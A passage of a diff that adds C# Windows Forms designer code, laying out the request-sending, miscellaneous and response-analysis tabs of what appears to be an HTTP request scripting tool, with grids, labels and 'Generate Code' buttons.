"tabPage8"; + this.tabPage8.Size = new System.Drawing.Size(868, 302); + this.tabPage8.TabIndex = 2; + this.tabPage8.Text = " Send Request "; + // + // SRErrorTB + // + this.SRErrorTB.BackColor = System.Drawing.Color.Red; + this.SRErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.SRErrorTB.Location = new System.Drawing.Point(500, 161); + this.SRErrorTB.Multiline = true; + this.SRErrorTB.Name = "SRErrorTB"; + this.SRErrorTB.ReadOnly = true; + this.SRErrorTB.Size = new System.Drawing.Size(258, 83); + this.SRErrorTB.TabIndex = 15; + this.SRErrorTB.TabStop = false; + this.SRErrorTB.Visible = false; + // + // SRCreateCodeBtn + // + this.SRCreateCodeBtn.Location = new System.Drawing.Point(602, 250); + this.SRCreateCodeBtn.Name = "SRCreateCodeBtn"; + this.SRCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.SRCreateCodeBtn.TabIndex = 14; + this.SRCreateCodeBtn.Text = "Generate Code"; + this.SRCreateCodeBtn.UseVisualStyleBackColor = true; + this.SRCreateCodeBtn.Click += new System.EventHandler(this.SRCreateCodeBtn_Click); + // + // SRLogSourceTB + // + this.SRLogSourceTB.Location = new System.Drawing.Point(231, 127); + this.SRLogSourceTB.Name = "SRLogSourceTB"; + this.SRLogSourceTB.Size = new System.Drawing.Size(204, 20); + this.SRLogSourceTB.TabIndex = 7; + this.SRLogSourceTB.Visible = false; + // + // SRLogSourceLbl + // + this.SRLogSourceLbl.AutoSize = true; + this.SRLogSourceLbl.Location = new System.Drawing.Point(35, 130); + this.SRLogSourceLbl.Name = "SRLogSourceLbl"; + this.SRLogSourceLbl.Size = new System.Drawing.Size(190, 13); + this.SRLogSourceLbl.TabIndex = 8; + this.SRLogSourceLbl.Text = "Enter a new unique Log Source Value:"; + this.SRLogSourceLbl.Visible = false; + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.SRDontFollowRedirectRB); + this.groupBox1.Controls.Add(this.SRFollowRedirectRB); + this.groupBox1.Location = new System.Drawing.Point(16, 203); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(371, 66); + this.groupBox1.TabIndex = 6; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "If the response for the request has a redirect, do you want to follow it?"; + // + // SRDontFollowRedirectRB + // + this.SRDontFollowRedirectRB.AutoSize = true; + this.SRDontFollowRedirectRB.Checked = true; + this.SRDontFollowRedirectRB.Location = new System.Drawing.Point(92, 31); + this.SRDontFollowRedirectRB.Name = "SRDontFollowRedirectRB"; + this.SRDontFollowRedirectRB.Size = new System.Drawing.Size(39, 17); + this.SRDontFollowRedirectRB.TabIndex = 6; + this.SRDontFollowRedirectRB.TabStop = true; + this.SRDontFollowRedirectRB.Text = "No"; + this.SRDontFollowRedirectRB.UseVisualStyleBackColor = true; + // + // SRFollowRedirectRB + // + this.SRFollowRedirectRB.AutoSize = true; + this.SRFollowRedirectRB.Location = new System.Drawing.Point(20, 31); + this.SRFollowRedirectRB.Name = "SRFollowRedirectRB"; + this.SRFollowRedirectRB.Size = new System.Drawing.Size(43, 17); + this.SRFollowRedirectRB.TabIndex = 5; + this.SRFollowRedirectRB.Text = "Yes"; + this.SRFollowRedirectRB.UseVisualStyleBackColor = true; + // + // SRSendWithLogSourceRB + // + this.SRSendWithLogSourceRB.AutoSize = true; + this.SRSendWithLogSourceRB.Location = new System.Drawing.Point(16, 104); + this.SRSendWithLogSourceRB.Name = "SRSendWithLogSourceRB"; + this.SRSendWithLogSourceRB.Size = new System.Drawing.Size(639, 17); + this.SRSendWithLogSourceRB.TabIndex = 4; + this.SRSendWithLogSourceRB.Text = "Send the Request with a unique log source value. The logs for this Request will b" + + "e under the \'Other Logs\' tab of the \'Logs\' section."; + this.SRSendWithLogSourceRB.UseVisualStyleBackColor = true; + this.SRSendWithLogSourceRB.CheckedChanged += new System.EventHandler(this.SRSendWithLogSourceRB_CheckedChanged); + // + // SRNormalSendRB + // + this.SRNormalSendRB.AutoSize = true; + this.SRNormalSendRB.Checked = true; + this.SRNormalSendRB.Location = new System.Drawing.Point(16, 67); + this.SRNormalSendRB.Name = "SRNormalSendRB"; + this.SRNormalSendRB.Size = new System.Drawing.Size(531, 17); + this.SRNormalSendRB.TabIndex = 3; + this.SRNormalSendRB.TabStop = true; + this.SRNormalSendRB.Text = "Send the Request normally. The logs for this Request will be available under \'She" + + "ll\' tab of the \'Logs\' section,"; + this.SRNormalSendRB.UseVisualStyleBackColor = true; + // + // textBox2 + // + this.textBox2.BackColor = System.Drawing.Color.White; + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Location = new System.Drawing.Point(16, 20); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(726, 24); + this.textBox2.TabIndex = 1; + this.textBox2.TabStop = false; + this.textBox2.Text = "Once you have created a Request you can send it to the server and get the respons" + + "e.\r\nThere are a few options in sending the request. Select them from below and t" + + "he equivalent code will is shown below."; + // + // tabPage13 + // + this.tabPage13.Controls.Add(this.ReqODescTB); + this.tabPage13.Controls.Add(this.ReqOCreateCodeBtn); + this.tabPage13.Controls.Add(this.ReqOActionsGrid); + this.tabPage13.Controls.Add(this.textBox16); + this.tabPage13.Location = new System.Drawing.Point(4, 22); + this.tabPage13.Name = "tabPage13"; + this.tabPage13.Size = new System.Drawing.Size(868, 302); + this.tabPage13.TabIndex = 5; + this.tabPage13.Text = " Miscellaneous "; + this.tabPage13.UseVisualStyleBackColor = true; + // + // ReqODescTB + // + this.ReqODescTB.BackColor = System.Drawing.Color.White; + this.ReqODescTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ReqODescTB.Location = new System.Drawing.Point(358, 82); + this.ReqODescTB.Multiline = true; + this.ReqODescTB.Name = "ReqODescTB"; + this.ReqODescTB.ReadOnly = true; + this.ReqODescTB.Size = new System.Drawing.Size(298, 79); + this.ReqODescTB.TabIndex = 41; + this.ReqODescTB.TabStop = false; + // + // ReqOCreateCodeBtn + // + this.ReqOCreateCodeBtn.Enabled = false; + this.ReqOCreateCodeBtn.Location = new System.Drawing.Point(358, 182); + this.ReqOCreateCodeBtn.Name = "ReqOCreateCodeBtn"; + this.ReqOCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.ReqOCreateCodeBtn.TabIndex = 40; + this.ReqOCreateCodeBtn.Text = "Generate Code"; + this.ReqOCreateCodeBtn.UseVisualStyleBackColor = true; + this.ReqOCreateCodeBtn.Click += new System.EventHandler(this.ReqOCreateCodeBtn_Click); + // + // ReqOActionsGrid + // + this.ReqOActionsGrid.AllowUserToAddRows = false; + this.ReqOActionsGrid.AllowUserToDeleteRows = false; + this.ReqOActionsGrid.AllowUserToResizeRows = false; + this.ReqOActionsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ReqOActionsGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ReqOActionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle5; + this.ReqOActionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ReqOActionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn10, + this.dataGridViewTextBoxColumn16, + this.Column7, + this.dataGridViewTextBoxColumn17}); + this.ReqOActionsGrid.GridColor = System.Drawing.Color.White; + this.ReqOActionsGrid.Location = new System.Drawing.Point(16, 49); + this.ReqOActionsGrid.Name = "ReqOActionsGrid"; + this.ReqOActionsGrid.ReadOnly = true; + this.ReqOActionsGrid.RowHeadersVisible = false; + this.ReqOActionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ReqOActionsGrid.Size = new System.Drawing.Size(326, 243); + this.ReqOActionsGrid.TabIndex = 39; + this.ReqOActionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ReqOActionsGrid_CellClick); + // + // dataGridViewCheckBoxColumn10 + // + this.dataGridViewCheckBoxColumn10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn10.HeaderText = ""; + this.dataGridViewCheckBoxColumn10.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn10.Name = "dataGridViewCheckBoxColumn10"; + this.dataGridViewCheckBoxColumn10.ReadOnly = true; + this.dataGridViewCheckBoxColumn10.Width = 25; + // + // dataGridViewTextBoxColumn16 + // + this.dataGridViewTextBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn16.HeaderText = "Select the Action:"; + this.dataGridViewTextBoxColumn16.Name = "dataGridViewTextBoxColumn16"; + this.dataGridViewTextBoxColumn16.ReadOnly = true; + this.dataGridViewTextBoxColumn16.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn16.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // Column7 + // + this.Column7.HeaderText = "Id"; + this.Column7.Name = "Column7"; + this.Column7.ReadOnly = true; + this.Column7.Visible = false; + // + // dataGridViewTextBoxColumn17 + // + this.dataGridViewTextBoxColumn17.HeaderText = "Desc"; + this.dataGridViewTextBoxColumn17.Name = "dataGridViewTextBoxColumn17"; + this.dataGridViewTextBoxColumn17.ReadOnly = true; + this.dataGridViewTextBoxColumn17.Visible = false; + // + // textBox16 + // + this.textBox16.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox16.BackColor = System.Drawing.Color.White; + this.textBox16.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox16.Location = new System.Drawing.Point(27, 11); + this.textBox16.Multiline = true; + this.textBox16.Name = "textBox16"; + this.textBox16.ReadOnly = true; + this.textBox16.Size = new System.Drawing.Size(826, 28); + this.textBox16.TabIndex = 38; + this.textBox16.TabStop = false; + this.textBox16.Text = "You can read or modify any of the parameters in the Request. Select the parameter" + + " type, name and actions you want to perform below and the equivalent code will b" + + "e generated. "; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.tabControl2); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Margin = new System.Windows.Forms.Padding(0); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Size = new System.Drawing.Size(876, 328); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " Response "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // tabControl2 + // + this.tabControl2.Controls.Add(this.tabPage10); + this.tabControl2.Controls.Add(this.tabPage11); + this.tabControl2.Controls.Add(this.tabPage9); + this.tabControl2.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl2.Location = new System.Drawing.Point(0, 0); + this.tabControl2.Margin = new System.Windows.Forms.Padding(0); + this.tabControl2.Name = "tabControl2"; + this.tabControl2.Padding = new System.Drawing.Point(0, 0); + this.tabControl2.SelectedIndex = 0; + this.tabControl2.Size = new System.Drawing.Size(876, 328); + this.tabControl2.TabIndex = 3; + // + // tabPage10 + // + this.tabPage10.BackColor = System.Drawing.Color.White; + this.tabPage10.Controls.Add(this.ResDisplayRTB); + this.tabPage10.Controls.Add(this.ResParameterDescriptionTB); + this.tabPage10.Controls.Add(this.ResErrorTB); + this.tabPage10.Controls.Add(this.ResCreateCodeBtn); + this.tabPage10.Controls.Add(this.ResParameterValueTB); + this.tabPage10.Controls.Add(this.ResParameterValueLbl); + this.tabPage10.Controls.Add(this.ResQuestionGB); + this.tabPage10.Controls.Add(this.ResParameterTypeGrid); + this.tabPage10.Controls.Add(this.textBox8); + this.tabPage10.Location = new System.Drawing.Point(4, 22); + this.tabPage10.Margin = new System.Windows.Forms.Padding(0); + this.tabPage10.Name = "tabPage10"; + this.tabPage10.Size = new System.Drawing.Size(868, 302); + this.tabPage10.TabIndex = 0; + this.tabPage10.Text = " Read or Modify Response Properties "; + // + // ResDisplayRTB + // + this.ResDisplayRTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ResDisplayRTB.BackColor = System.Drawing.Color.White; + this.ResDisplayRTB.DetectUrls = false; + this.ResDisplayRTB.Location = new System.Drawing.Point(8, 3); + this.ResDisplayRTB.Name = "ResDisplayRTB"; + this.ResDisplayRTB.ReadOnly = true; + this.ResDisplayRTB.Size = new System.Drawing.Size(847, 115); + this.ResDisplayRTB.TabIndex = 35; + this.ResDisplayRTB.Text = ""; + // + // ResParameterDescriptionTB + // + this.ResParameterDescriptionTB.BackColor = System.Drawing.Color.White; + this.ResParameterDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ResParameterDescriptionTB.Location = new System.Drawing.Point(224, 165); + this.ResParameterDescriptionTB.Multiline = true; + this.ResParameterDescriptionTB.Name = "ResParameterDescriptionTB"; + this.ResParameterDescriptionTB.ReadOnly = true; + this.ResParameterDescriptionTB.Size = new System.Drawing.Size(240, 89); + this.ResParameterDescriptionTB.TabIndex = 34; + this.ResParameterDescriptionTB.TabStop = false; + // + // ResErrorTB + // + this.ResErrorTB.BackColor = System.Drawing.Color.Red; + this.ResErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ResErrorTB.Location = new System.Drawing.Point(224, 261); + this.ResErrorTB.Multiline = true; + this.ResErrorTB.Name = "ResErrorTB"; + this.ResErrorTB.ReadOnly = true; + this.ResErrorTB.Size = new System.Drawing.Size(358, 35); + this.ResErrorTB.TabIndex = 33; + this.ResErrorTB.TabStop = false; + this.ResErrorTB.Visible = false; + // + // ResCreateCodeBtn + // + this.ResCreateCodeBtn.Location = new System.Drawing.Point(619, 266); + this.ResCreateCodeBtn.Name = "ResCreateCodeBtn"; + this.ResCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.ResCreateCodeBtn.TabIndex = 32; + this.ResCreateCodeBtn.Text = "Generate Code"; + this.ResCreateCodeBtn.UseVisualStyleBackColor = true; + this.ResCreateCodeBtn.Click += new System.EventHandler(this.ResCreateCodeBtn_Click); + // + // ResParameterValueTB + // + this.ResParameterValueTB.Location = new System.Drawing.Point(587, 226); + this.ResParameterValueTB.Name = "ResParameterValueTB"; + this.ResParameterValueTB.Size = new System.Drawing.Size(173, 20); + this.ResParameterValueTB.TabIndex = 30; + this.ResParameterValueTB.Visible = false; + // + // ResParameterValueLbl + // + this.ResParameterValueLbl.AutoSize = true; + this.ResParameterValueLbl.Location = new System.Drawing.Point(491, 229); + this.ResParameterValueLbl.Name = "ResParameterValueLbl"; + this.ResParameterValueLbl.Size = new System.Drawing.Size(90, 13); + this.ResParameterValueLbl.TabIndex = 31; + this.ResParameterValueLbl.Text = "Enter New Value:"; + this.ResParameterValueLbl.Visible = false; + // + // ResQuestionGB + // + this.ResQuestionGB.Controls.Add(this.ResAnswerEditRB); + this.ResQuestionGB.Controls.Add(this.ResAnswerReadRB); + this.ResQuestionGB.Location = new System.Drawing.Point(494, 156); + this.ResQuestionGB.Name = "ResQuestionGB"; + this.ResQuestionGB.Size = new System.Drawing.Size(267, 53); + this.ResQuestionGB.TabIndex = 29; + this.ResQuestionGB.TabStop = false; + this.ResQuestionGB.Text = "Do you want to read or modify this value?"; + this.ResQuestionGB.Visible = false; + // + // ResAnswerEditRB + // + this.ResAnswerEditRB.AutoSize = true; + this.ResAnswerEditRB.Checked = true; + this.ResAnswerEditRB.Location = new System.Drawing.Point(120, 21); + this.ResAnswerEditRB.Name = "ResAnswerEditRB"; + this.ResAnswerEditRB.Size = new System.Drawing.Size(43, 17); + this.ResAnswerEditRB.TabIndex = 6; + this.ResAnswerEditRB.TabStop = true; + this.ResAnswerEditRB.Text = "Edit"; + this.ResAnswerEditRB.UseVisualStyleBackColor = true; + // + // ResAnswerReadRB + // + this.ResAnswerReadRB.AutoSize = true; + this.ResAnswerReadRB.Location = new System.Drawing.Point(21, 21); + this.ResAnswerReadRB.Name = "ResAnswerReadRB"; + this.ResAnswerReadRB.Size = new System.Drawing.Size(51, 17); + this.ResAnswerReadRB.TabIndex = 5; + this.ResAnswerReadRB.Text = "Read"; + this.ResAnswerReadRB.UseVisualStyleBackColor = true; + this.ResAnswerReadRB.CheckedChanged += new System.EventHandler(this.ResAnswerReadRB_CheckedChanged); + // + // ResParameterTypeGrid + // + this.ResParameterTypeGrid.AllowUserToAddRows = false; + this.ResParameterTypeGrid.AllowUserToDeleteRows = false; + this.ResParameterTypeGrid.AllowUserToResizeRows = false; + this.ResParameterTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ResParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle6.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle6.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle6.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle6.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle6.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle6.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle6; + this.ResParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ResParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn4, + this.dataGridViewTextBoxColumn5, + this.dataGridViewTextBoxColumn6, + this.dataGridViewTextBoxColumn8}); + this.ResParameterTypeGrid.GridColor = System.Drawing.Color.White; + this.ResParameterTypeGrid.Location = new System.Drawing.Point(8, 156); + this.ResParameterTypeGrid.Name = "ResParameterTypeGrid"; + this.ResParameterTypeGrid.ReadOnly = true; + this.ResParameterTypeGrid.RowHeadersVisible = false; + this.ResParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ResParameterTypeGrid.Size = new System.Drawing.Size(210, 140); + this.ResParameterTypeGrid.TabIndex = 28; + this.ResParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ResParameterTypeGrid_CellClick); + // + // dataGridViewCheckBoxColumn4 + // + this.dataGridViewCheckBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn4.HeaderText = ""; + this.dataGridViewCheckBoxColumn4.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn4.Name = "dataGridViewCheckBoxColumn4"; + this.dataGridViewCheckBoxColumn4.ReadOnly = true; + this.dataGridViewCheckBoxColumn4.Width = 25; + // + // dataGridViewTextBoxColumn5 + // + this.dataGridViewTextBoxColumn5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn5.HeaderText = "Select the Property Type:"; + this.dataGridViewTextBoxColumn5.Name = "dataGridViewTextBoxColumn5"; + this.dataGridViewTextBoxColumn5.ReadOnly = true; + this.dataGridViewTextBoxColumn5.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn5.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // dataGridViewTextBoxColumn6 + // + this.dataGridViewTextBoxColumn6.HeaderText = "Tag"; + this.dataGridViewTextBoxColumn6.Name = "dataGridViewTextBoxColumn6"; + this.dataGridViewTextBoxColumn6.ReadOnly = true; + this.dataGridViewTextBoxColumn6.Visible = false; + // + // dataGridViewTextBoxColumn8 + // + this.dataGridViewTextBoxColumn8.HeaderText = "Desc"; + this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; + this.dataGridViewTextBoxColumn8.ReadOnly = true; + this.dataGridViewTextBoxColumn8.Visible = false; + // + // textBox8 + // + this.textBox8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox8.BackColor = System.Drawing.Color.White; + this.textBox8.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox8.Location = new System.Drawing.Point(11, 121); + this.textBox8.Multiline = true; + this.textBox8.Name = "textBox8"; + this.textBox8.ReadOnly = true; + this.textBox8.Size = new System.Drawing.Size(826, 28); + this.textBox8.TabIndex = 27; + this.textBox8.TabStop = false; + this.textBox8.Text = resources.GetString("textBox8.Text"); + // + // tabPage11 + // + this.tabPage11.BackColor = System.Drawing.Color.White; + this.tabPage11.Controls.Add(this.HtmlAnswerPanel); + this.tabPage11.Controls.Add(this.HtmlAnswerDescriptionTB); + this.tabPage11.Controls.Add(this.HtmlGEPanel); + this.tabPage11.Controls.Add(this.HtmlGVPanel); + this.tabPage11.Controls.Add(this.HtmlOptionsGrid); + this.tabPage11.Controls.Add(this.HtmlErrorTB); + this.tabPage11.Controls.Add(this.HtmlCreateCodeBtn); + this.tabPage11.Controls.Add(this.HtmlDescriptionTB); + this.tabPage11.Controls.Add(this.HtmlMainActionsGrid); + this.tabPage11.Controls.Add(this.textBox4); + this.tabPage11.Location = new System.Drawing.Point(4, 22); + this.tabPage11.Margin = new System.Windows.Forms.Padding(0); + this.tabPage11.Name = "tabPage11"; + this.tabPage11.Size = new System.Drawing.Size(868, 302); + this.tabPage11.TabIndex = 1; + this.tabPage11.Text = " Analyze Response Html "; + // + // HtmlAnswerPanel + // + this.HtmlAnswerPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.HtmlAnswerPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.HtmlAnswerPanel.Controls.Add(this.HtmlAnswerLbl); + this.HtmlAnswerPanel.Controls.Add(this.HtmlAnswerTB); + this.HtmlAnswerPanel.Location = new System.Drawing.Point(481, 218); + this.HtmlAnswerPanel.Name = "HtmlAnswerPanel"; + this.HtmlAnswerPanel.Size = new System.Drawing.Size(10, 35); + this.HtmlAnswerPanel.TabIndex = 60; + this.HtmlAnswerPanel.Visible = false; + // + // HtmlAnswerLbl + // + this.HtmlAnswerLbl.AutoSize = true; + this.HtmlAnswerLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HtmlAnswerLbl.Location = new System.Drawing.Point(34, 13); + this.HtmlAnswerLbl.Name = "HtmlAnswerLbl"; + this.HtmlAnswerLbl.Size = new System.Drawing.Size(96, 13); + this.HtmlAnswerLbl.TabIndex = 48; + this.HtmlAnswerLbl.Text = "Enter the keyword:"; + // + // HtmlAnswerTB + // + this.HtmlAnswerTB.Location = new System.Drawing.Point(168, 7); + this.HtmlAnswerTB.Name = "HtmlAnswerTB"; + this.HtmlAnswerTB.Size = new System.Drawing.Size(191, 20); + this.HtmlAnswerTB.TabIndex = 49; + // + // HtmlAnswerDescriptionTB + // + this.HtmlAnswerDescriptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.HtmlAnswerDescriptionTB.BackColor = System.Drawing.Color.White; + this.HtmlAnswerDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.HtmlAnswerDescriptionTB.Location = new System.Drawing.Point(456, 48); + this.HtmlAnswerDescriptionTB.Multiline = true; + this.HtmlAnswerDescriptionTB.Name = "HtmlAnswerDescriptionTB"; + this.HtmlAnswerDescriptionTB.ReadOnly = true; + this.HtmlAnswerDescriptionTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.HtmlAnswerDescriptionTB.Size = new System.Drawing.Size(398, 164); + this.HtmlAnswerDescriptionTB.TabIndex = 59; + this.HtmlAnswerDescriptionTB.TabStop = false; + this.HtmlAnswerDescriptionTB.Visible = false; + // + // HtmlGEPanel + // + this.HtmlGEPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.HtmlGEPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.HtmlGEPanel.Controls.Add(this.label9); + this.HtmlGEPanel.Controls.Add(this.label10); + this.HtmlGEPanel.Controls.Add(this.HtmlGETagTB); + this.HtmlGEPanel.Controls.Add(this.label11); + this.HtmlGEPanel.Controls.Add(this.HtmlGEAttributeValueTB); + this.HtmlGEPanel.Controls.Add(this.HtmlGEAttributeNameTB); + this.HtmlGEPanel.Location = new System.Drawing.Point(466, 218); + this.HtmlGEPanel.Name = "HtmlGEPanel"; + this.HtmlGEPanel.Size = new System.Drawing.Size(10, 35); + this.HtmlGEPanel.TabIndex = 58; + this.HtmlGEPanel.Visible = false; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label9.Location = new System.Drawing.Point(5, 7); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(18, 20); + this.label9.TabIndex = 48; + this.label9.Text = "<"; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label10.Location = new System.Drawing.Point(368, 7); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(24, 20); + this.label10.TabIndex = 55; + this.label10.Text = "\">"; + // + // HtmlGETagTB + // + this.HtmlGETagTB.Location = new System.Drawing.Point(23, 8); + this.HtmlGETagTB.Name = "HtmlGETagTB"; + this.HtmlGETagTB.Size = new System.Drawing.Size(79, 20); + this.HtmlGETagTB.TabIndex = 49; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label11.Location = new System.Drawing.Point(243, 7); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(24, 20); + this.label11.TabIndex = 54; + this.label11.Text = "=\""; + // + // HtmlGEAttributeValueTB + // + this.HtmlGEAttributeValueTB.Location = new System.Drawing.Point(267, 8); + this.HtmlGEAttributeValueTB.Name = "HtmlGEAttributeValueTB"; + this.HtmlGEAttributeValueTB.Size = new System.Drawing.Size(98, 20); + this.HtmlGEAttributeValueTB.TabIndex = 53; + // + // HtmlGEAttributeNameTB + // + this.HtmlGEAttributeNameTB.Location = new System.Drawing.Point(131, 8); + this.HtmlGEAttributeNameTB.Name = "HtmlGEAttributeNameTB"; + this.HtmlGEAttributeNameTB.Size = new System.Drawing.Size(108, 20); + this.HtmlGEAttributeNameTB.TabIndex = 52; + // + // HtmlGVPanel + // + this.HtmlGVPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.HtmlGVPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.HtmlGVPanel.Controls.Add(this.label5); + this.HtmlGVPanel.Controls.Add(this.label4); + this.HtmlGVPanel.Controls.Add(this.label7); + this.HtmlGVPanel.Controls.Add(this.HtmlGVTagTB); + this.HtmlGVPanel.Controls.Add(this.label6); + this.HtmlGVPanel.Controls.Add(this.HtmlGVMainAttributeNameTB); + this.HtmlGVPanel.Controls.Add(this.HtmlGVHelperAttributeValueTB); + this.HtmlGVPanel.Controls.Add(this.HtmlGVHelperAttributeNameTB); + this.HtmlGVPanel.Location = new System.Drawing.Point(453, 218); + this.HtmlGVPanel.Name = "HtmlGVPanel"; + this.HtmlGVPanel.Size = new System.Drawing.Size(10, 35); + this.HtmlGVPanel.TabIndex = 57; + this.HtmlGVPanel.Visible = false; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label5.Location = new System.Drawing.Point(147, 12); + this.label5.Name = "label5"; + this.label5.Size = new 